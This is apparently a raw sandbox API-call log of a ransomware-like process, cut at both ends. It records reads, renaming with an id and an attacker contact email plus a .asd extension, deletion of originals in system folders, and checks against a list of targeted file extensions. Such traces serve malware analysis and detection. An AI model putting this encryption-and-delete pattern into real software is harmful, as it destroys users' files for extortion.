[0047.223] GetTickCount () returned 0x1143c94 [0047.223] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.418] GetTickCount () returned 0x1143d5f [0047.418] GetTickCount () returned 0x1143d5f [0047.418] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.205] GetTickCount () returned 0x114401d [0048.205] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.686] GetTickCount () returned 0x11441d1 [0048.686] GetTickCount () returned 0x11441d1 [0048.686] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.809] GetTickCount () returned 0x114424e [0048.809] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.248] GetTickCount () returned 0x11443c5 [0049.248] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.495] GetTickCount () returned 0x11444be [0049.495] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.692] GetTickCount () returned 0x114455a [0049.692] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.094] GetTickCount () returned 0x11446d1 [0050.094] GetTickCount () returned 0x11446d1 [0050.094] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.266] GetTickCount () returned 0x114477c [0050.266] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.709] GetTickCount () returned 0x1144895 [0050.709] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.212] GetTickCount () returned 0x1144a4a [0051.212] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.471] GetTickCount () returned 0x1144b43 [0051.471] GetTickCount () returned 0x1144b43 [0051.471] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.714] GetTickCount () returned 0x1144bff [0051.714] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.177] GetTickCount () returned 0x1144dd3 [0052.177] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.456] GetTickCount () returned 0x1144ecc [0052.456] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.937] GetTickCount () returned 0x11450a0 [0052.937] GetTickCount () returned 0x11450a0 [0052.937] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.361] GetTickCount () returned 0x1145255 [0053.361] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.647] GetTickCount () returned 0x114536e [0053.647] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.944] GetTickCount () returned 0x1145496 [0053.944] GetTickCount () returned 0x1145496 [0053.944] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.199] GetTickCount () returned 0x1145590 [0054.199] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.422] GetTickCount () returned 0x114567a [0054.422] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.841] GetTickCount () returned 0x114581f [0054.841] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.314] GetTickCount () returned 0x11459f3 [0055.314] GetTickCount () returned 0x11459f3 [0055.314] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.675] GetTickCount () returned 0x1145b5a [0055.675] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.088] GetTickCount () returned 0x1145cef [0056.089] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.682] GetTickCount () returned 0x1145f40 [0056.682] GetTickCount () returned 0x1145f40 [0056.682] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0057.104] GetTickCount () returned 0x11460f5 [0057.104] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0057.413] GetTickCount () returned 0x114621d [0057.413] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0057.652] GetTickCount () returned 0x1146317 [0057.652] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0058.560] GetTickCount () returned 0x11466a0 [0058.560] GetTickCount () returned 0x11466a0 [0058.560] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0058.901] GetTickCount () returned 0x11467f7 [0058.901] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0059.225] GetTickCount () returned 0x114693f [0059.225] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0059.485] GetTickCount () returned 0x1146a38 [0059.485] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0059.695] GetTickCount () returned 0x1146b13 [0059.695] GetTickCount () returned 0x1146b13 [0059.695] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0059.887] GetTickCount () returned 0x1146bce [0059.887] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.638] GetTickCount () returned 0x1146ebb [0060.647] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0061.085] GetTickCount () returned 0x114707f [0061.085] GetTickCount () returned 0x114707f [0061.085] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0061.583] GetTickCount () returned 0x1147272 [0061.583] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.200] GetTickCount () returned 0x11474d3 [0062.200] GetTickCount () returned 0x11474d3 [0062.200] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.570] GetTickCount () returned 0x1147649 [0062.570] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x974 [0040.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5902c8 [0040.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5a02d0 [0040.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5602d8 [0040.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54a358 [0040.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5602f0 [0040.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3540020 [0040.241] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560308 [0040.241] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560308, Size=0x20) returned 0x58f8f8 [0040.241] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560308 [0040.241] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560308, Size=0x20) returned 0x58f920 [0040.241] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.241] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.241] Wow64DisableWow64FsRedirection (in: OldValue=0x22fff58 | out: OldValue=0x22fff58*=0x0) returned 1 [0040.241] lstrlenW (lpString="kernel32.dll") returned 12 [0040.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.241] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.241] Sleep (dwMilliseconds=0x64) [0040.457] lstrcmpiW (lpString1=".ini", lpString2=".asd") returned 1 [0040.457] lstrlenW (lpString="desktop.ini") returned 11 [0040.457] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.458] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=129) returned 1 [0040.458] CloseHandle (hObject=0x164) returned 1 [0040.458] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0040.458] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.458] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.458] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.458] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.473] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0040.475] GetLastError () returned 0x0 [0040.475] ReadFile (in: hFile=0x164, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x81, lpOverlapped=0x0) returned 1 [0040.484] WriteFile (in: hFile=0x168, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x90, lpOverlapped=0x0) returned 1 [0040.485] ReadFile (in: hFile=0x164, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.485] WriteFile (in: hFile=0x168, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.485] SetEndOfFile (hFile=0x168) returned 1 [0040.486] CloseHandle (hObject=0x168) returned 1 [0040.487] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.487] SetEndOfFile (hFile=0x164) returned 1 [0040.488] CloseHandle (hObject=0x164) returned 1 [0040.488] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x26) returned 1 [0040.488] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0040.489] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.489] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.489] lstrlenW (lpString=".doc") returned 4 [0040.489] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0040.489] lstrlenW (lpString=".docx") returned 5 [0040.489] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0040.489] lstrlenW (lpString=".pdf") returned 4 [0040.489] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0040.489] lstrlenW (lpString=".xls") returned 4 [0040.489] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0040.489] lstrlenW (lpString=".xlsx") returned 5 [0040.489] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0040.489] lstrlenW (lpString=".ppt") returned 4 [0040.489] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0040.489] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.489] lstrlenW (lpString=".zip") returned 4 [0040.489] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0040.489] lstrlenW (lpString=".rar") returned 4 [0040.489] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0040.489] lstrlenW (lpString=".bz2") returned 4 [0040.489] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0040.489] lstrlenW (lpString=".7z") returned 3 [0040.489] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0040.490] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.490] lstrlenW (lpString=".dbf") returned 4 [0040.490] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0040.490] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.490] lstrlenW (lpString=".1cd") returned 4 [0040.490] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0040.490] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.490] lstrlenW (lpString=".jpg") returned 4 [0040.490] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0040.490] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.490] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.490] lstrlenW (lpString=".doc") returned 4 [0040.490] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0040.490] lstrlenW (lpString=".docx") returned 5 [0040.490] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0040.490] lstrlenW (lpString=".pdf") returned 4 [0040.490] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0040.490] lstrlenW (lpString=".xls") returned 4 [0040.490] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0040.490] lstrlenW (lpString=".xlsx") returned 5 [0040.490] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0040.490] lstrlenW (lpString=".ppt") returned 4 [0040.490] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0040.490] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.490] lstrlenW (lpString=".zip") returned 4 [0040.490] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0040.490] lstrlenW (lpString=".rar") returned 4 [0040.491] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0040.491] lstrlenW (lpString=".bz2") returned 4 [0040.491] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0040.491] lstrlenW (lpString=".7z") returned 3 [0040.491] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0040.491] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.491] lstrlenW (lpString=".dbf") returned 4 [0040.491] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0040.491] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.491] lstrlenW (lpString=".1cd") returned 4 [0040.491] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0040.491] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.491] lstrlenW (lpString=".jpg") returned 4 [0040.491] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0040.491] lstrcmpiW (lpString1=".LOG", lpString2=".asd") returned 1 [0040.491] lstrlenW (lpString="BCD.LOG") returned 7 [0040.491] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.491] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.491] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.491] lstrlenW (lpString=".doc") returned 4 [0040.491] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0040.492] lstrlenW (lpString=".docx") returned 5 [0040.492] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0040.492] lstrlenW (lpString=".pdf") returned 4 [0040.492] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0040.492] lstrlenW (lpString=".xls") returned 4 [0040.492] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0040.492] lstrlenW (lpString=".xlsx") returned 5 [0040.492] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0040.492] lstrlenW (lpString=".ppt") returned 4 [0040.492] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0040.492] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.492] lstrlenW (lpString=".zip") returned 4 [0040.492] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0040.492] lstrlenW (lpString=".rar") returned 4 [0040.492] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0040.492] lstrlenW (lpString=".bz2") returned 4 [0040.492] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0040.492] lstrlenW (lpString=".7z") returned 3 [0040.492] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0040.492] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.492] lstrlenW (lpString=".dbf") returned 4 [0040.492] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0040.492] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.492] lstrlenW (lpString=".1cd") returned 4 [0040.492] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0040.492] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.492] lstrlenW (lpString=".jpg") returned 4 [0040.492] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0040.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.493] lstrlenW (lpString=".doc") returned 4 [0040.493] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0040.493] lstrlenW (lpString=".docx") returned 5 [0040.493] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0040.493] lstrlenW (lpString=".pdf") returned 4 [0040.493] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0040.493] lstrlenW (lpString=".xls") returned 4 [0040.493] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0040.493] lstrlenW (lpString=".xlsx") returned 5 [0040.493] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0040.493] lstrlenW (lpString=".ppt") returned 4 [0040.493] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0040.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.493] lstrlenW (lpString=".zip") returned 4 [0040.493] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0040.493] lstrlenW (lpString=".rar") returned 4 [0040.493] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0040.493] lstrlenW (lpString=".bz2") returned 4 [0040.493] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0040.493] lstrlenW (lpString=".7z") returned 3 [0040.493] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0040.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.493] lstrlenW (lpString=".dbf") returned 4 [0040.493] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0040.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.493] lstrlenW (lpString=".1cd") returned 4 [0040.494] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0040.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0040.494] lstrlenW (lpString=".jpg") returned 4 [0040.494] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0040.494] lstrcmpiW (lpString1=".DAT", lpString2=".asd") returned 1 [0040.494] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0040.494] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0041.538] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=65536) returned 1 [0041.538] CloseHandle (hObject=0x164) returned 1 [0041.538] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0041.538] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.539] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0041.539] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.539] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.539] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.540] GetLastError () returned 0x0 [0041.540] ReadFile (in: hFile=0x164, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x10000, lpOverlapped=0x0) returned 1 [0041.543] WriteFile (in: hFile=0x168, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x10010, lpOverlapped=0x0) returned 1 [0041.545] ReadFile (in: hFile=0x164, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0041.545] WriteFile (in: hFile=0x168, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.545] SetEndOfFile (hFile=0x168) returned 1 [0041.545] CloseHandle (hObject=0x168) returned 1 [0041.547] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.547] SetEndOfFile (hFile=0x164) returned 1 [0041.548] CloseHandle (hObject=0x164) returned 1 [0041.548] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x26) returned 1 [0041.549] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0041.549] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.549] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.549] lstrlenW (lpString=".doc") returned 4 [0041.549] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0041.549] lstrlenW (lpString=".docx") returned 5 [0041.549] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0041.549] lstrlenW (lpString=".pdf") returned 4 [0041.549] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0041.549] lstrlenW (lpString=".xls") returned 4 [0041.549] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0041.549] lstrlenW (lpString=".xlsx") returned 5 [0041.549] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0041.549] lstrlenW (lpString=".ppt") returned 4 [0041.549] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0041.549] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.550] lstrlenW (lpString=".zip") returned 4 [0041.550] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0041.550] lstrlenW (lpString=".rar") returned 4 [0041.550] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0041.550] lstrlenW (lpString=".bz2") returned 4 [0041.550] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0041.550] lstrlenW (lpString=".7z") returned 3 [0041.550] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0041.550] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.550] lstrlenW (lpString=".dbf") returned 4 [0041.550] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0041.550] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.550] lstrlenW (lpString=".1cd") returned 4 [0041.550] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0041.550] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.550] lstrlenW (lpString=".jpg") returned 4 [0041.550] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0041.550] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.550] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.550] lstrlenW (lpString=".doc") returned 4 [0041.551] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0041.551] lstrlenW (lpString=".docx") returned 5 [0041.551] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0041.551] lstrlenW (lpString=".pdf") returned 4 [0041.551] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0041.551] lstrlenW (lpString=".xls") returned 4 [0041.551] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0041.551] lstrlenW (lpString=".xlsx") returned 5 [0041.551] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0041.551] lstrlenW (lpString=".ppt") returned 4 [0041.551] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0041.551] 